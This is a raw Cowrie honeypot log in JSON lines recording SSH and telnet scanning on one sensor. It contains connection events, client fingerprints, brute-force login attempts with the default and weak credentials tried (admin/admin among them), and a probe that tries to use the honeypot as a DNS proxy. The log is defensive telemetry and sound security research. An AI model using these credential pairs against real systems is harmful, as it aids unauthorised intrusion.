{"eventid":"cowrie.session.closed","duration":9.94326114654541,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:24.308936Z","src_ip":"34.53.210.242","session":"e76894644d92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.109132528305054,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:24.312702Z","src_ip":"34.53.210.242","session":"9fa8264a24ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.276549100875854,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:24.317960Z","src_ip":"34.53.210.242","session":"1cb1fc14a67c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.440439462661743,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:24.321252Z","src_ip":"34.53.210.242","session":"d4df2986c7a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.605626821517944,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:24.323984Z","src_ip":"34.53.210.242","session":"0b9c32f6d302","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.931353092193604,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:24.326341Z","src_ip":"34.53.210.242","session":"65b447ad1ec5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.182697057723999,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:24.337151Z","src_ip":"34.53.210.242","session":"3d08a9d32c5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.346468448638916,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:24.339573Z","src_ip":"34.53.210.242","session":"d4a2416bd7d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.51032567024231,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:24.341450Z","src_ip":"34.53.210.242","session":"22a4654d8d47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.675132513046265,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:24.343576Z","src_ip":"34.53.210.242","session":"389c0d3079c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.841741800308228,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:24.345880Z","src_ip":"34.53.210.242","session":"eb895b8f5154","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.00547170639038,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:24.348302Z","src_ip":"34.53.210.242","session":"a476ec089d4f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.168738842010498,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:24.350425Z","src_ip":"34.53.210.242","session":"08b101d7a901","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.33303689956665,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:24.353820Z","src_ip":"34.53.210.242","session":"0b7a56b91b93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.49637746810913,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:24.356293Z","src_ip":"34.53.210.242","session":"9aa8fb4b66fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":38648,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab0b7224ef17","protocol":"ssh","message":"New connection: 87.251.64.176:38648 (10.17.0.5:22) [session: ab0b7224ef17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:36.620095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:36.623341Z","src_ip":"87.251.64.176","session":"ab0b7224ef17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:36.715808Z","src_ip":"87.251.64.176","session":"ab0b7224ef17","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:36.999198Z","src_ip":"87.251.64.176","session":"ab0b7224ef17","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:37.096389Z","session":"ab0b7224ef17","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:37.191398Z","src_ip":"87.251.64.176","session":"ab0b7224ef17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:37.287235Z","src_ip":"87.251.64.176","session":"ab0b7224ef17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.71657133102417,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:37.883905Z","src_ip":"172.81.62.90","session":"840b9f8d35a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.966583013534546,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:41.769375Z","src_ip":"172.81.62.90","session":"60ebe3bd14ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":38536,"dst_ip":"159.203.135.109","dst_port":23,"session":"65ef97d54ce1","protocol":"telnet","message":"New connection: 103.249.87.183:38536 (159.203.135.109:23) [session: 65ef97d54ce1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:43.940086Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":59250,"dst_ip":"10.17.0.5","dst_port":22,"session":"619b2000ff1f","protocol":"ssh","message":"New connection: 103.176.20.57:59250 (10.17.0.5:22) [session: 619b2000ff1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:44.230299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:44.234106Z","src_ip":"103.176.20.57","session":"619b2000ff1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:44.499199Z","src_ip":"103.176.20.57","session":"619b2000ff1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"z123321z","message":"login attempt [root/z123321z] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:45.297028Z","src_ip":"103.176.20.57","session":"619b2000ff1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:46.565135Z","src_ip":"103.176.20.57","session":"619b2000ff1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":45714,"dst_ip":"10.17.0.5","dst_port":22,"session":"895b111b84e4","protocol":"ssh","message":"New connection: 80.94.92.184:45714 (10.17.0.5:22) [session: 895b111b84e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:47.675196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:47.679578Z","src_ip":"80.94.92.184","session":"895b111b84e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:47.932215Z","src_ip":"80.94.92.184","session":"895b111b84e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:50.832078Z","src_ip":"80.94.92.184","session":"895b111b84e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:49:52.085494Z","src_ip":"80.94.92.184","session":"895b111b84e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.3384428024292,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:50:17.278444Z","src_ip":"103.249.87.183","session":"65ef97d54ce1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":48486,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b136cde187b","protocol":"ssh","message":"New connection: 147.45.199.80:48486 (159.203.135.109:22) [session: 1b136cde187b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:50:19.290216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:50:19.294000Z","src_ip":"147.45.199.80","session":"1b136cde187b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:50:19.391188Z","src_ip":"147.45.199.80","session":"1b136cde187b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11071993","message":"login attempt [root/11071993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:50:19.678794Z","src_ip":"147.45.199.80","session":"1b136cde187b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:50:20.777376Z","src_ip":"147.45.199.80","session":"1b136cde187b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.124.255","src_port":35122,"dst_ip":"159.203.135.109","dst_port":23,"session":"a21184a68b43","protocol":"telnet","message":"New connection: 166.62.124.255:35122 (159.203.135.109:23) [session: a21184a68b43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:50:35.142025Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.71.22","src_port":43016,"dst_ip":"10.17.0.5","dst_port":22,"session":"e61f4fa3b0ac","protocol":"ssh","message":"New connection: 103.75.71.22:43016 (10.17.0.5:22) [session: e61f4fa3b0ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:50:36.614495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:50:36.620370Z","src_ip":"103.75.71.22","session":"e61f4fa3b0ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:50:36.736112Z","src_ip":"103.75.71.22","session":"e61f4fa3b0ac","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ac:ee:b3:57:d1:3f:b0:f6:9d:07:36:5f:b8:93:2f:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCuGUDlaJf89JfEki+Aax3/VBYE5RNt9aOdFcAfTTpnKPLQ5k1fewBFYOryNhXupenPhor+k8uleRSZDzOdCHbhKfVVvP7CZqhB6ARUjZuYVWYUApp3hybSOoDg3pv7cjSewEhQLU8IF52CjQWkmRxYESIkzs+7ZCrpH9BJPl76UbbUhdBPeJlmV4FGqYpE4MhYSTg1x/xg3OY0Im5g2pT44kqPcU+0MHOYZMVYW2ouBOWxtGCkWm6eeYQvUc6cjqUSKhFs5NVLbMsCRqVrzWHQp1xx+I/e87OU3vDwzvLEcQ7hCcGAKsZ1Wt3QW36vk5WPbM6FqE50e+fGU2RCuD6tFtC1HNXi+OhZ03kmfPUy3me1BFtCaHeuYmYuiGTLJDDqbql8LkUybEr182VDWuvJVpAUCfYJeb4u50MfqfTBeO5yfX/4aN6OIvAytxa2zApsXO3mSEs0xa3tazzsWODtRXVbUTv0mc3GBwaGgzywihUcYEPQ5+ZbKAo5gt9x/D6EJdK1DVAfXDuNcV8sQCrI/BIeRbK0AMw03ERsTuY7QdLoOMsGW/HdJzlPHAyOoGrr1NPdQtIbnEPBXSQiJdGpcriP0EC4xu8Dv4QsP2HjgwdnitQyhnMNKCaJOH0HP+YxPxCJQ/jwrQtLZKi+vr/PIEDo1wYeFeb3uTKvFiOnrw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ac:ee:b3:57:d1:3f:b0:f6:9d:07:36:5f:b8:93:2f:26","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:50:37.285658Z","src_ip":"103.75.71.22","session":"e61f4fa3b0ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ac:ee:b3:57:d1:3f:b0:f6:9d:07:36:5f:b8:93:2f:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCuGUDlaJf89JfEki+Aax3/VBYE5RNt9aOdFcAfTTpnKPLQ5k1fewBFYOryNhXupenPhor+k8uleRSZDzOdCHbhKfVVvP7CZqhB6ARUjZuYVWYUApp3hybSOoDg3pv7cjSewEhQLU8IF52CjQWkmRxYESIkzs+7ZCrpH9BJPl76UbbUhdBPeJlmV4FGqYpE4MhYSTg1x/xg3OY0Im5g2pT44kqPcU+0MHOYZMVYW2ouBOWxtGCkWm6eeYQvUc6cjqUSKhFs5NVLbMsCRqVrzWHQp1xx+I/e87OU3vDwzvLEcQ7hCcGAKsZ1Wt3QW36vk5WPbM6FqE50e+fGU2RCuD6tFtC1HNXi+OhZ03kmfPUy3me1BFtCaHeuYmYuiGTLJDDqbql8LkUybEr182VDWuvJVpAUCfYJeb4u50MfqfTBeO5yfX/4aN6OIvAytxa2zApsXO3mSEs0xa3tazzsWODtRXVbUTv0mc3GBwaGgzywihUcYEPQ5+ZbKAo5gt9x/D6EJdK1DVAfXDuNcV8sQCrI/BIeRbK0AMw03ERsTuY7QdLoOMsGW/HdJzlPHAyOoGrr1NPdQtIbnEPBXSQiJdGpcriP0EC4xu8Dv4QsP2HjgwdnitQyhnMNKCaJOH0HP+YxPxCJQ/jwrQtLZKi+vr/PIEDo1wYeFeb3uTKvFiOnrw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:50:37.288601Z","src_ip":"103.75.71.22","session":"e61f4fa3b0ac","protocol":"ssh"}
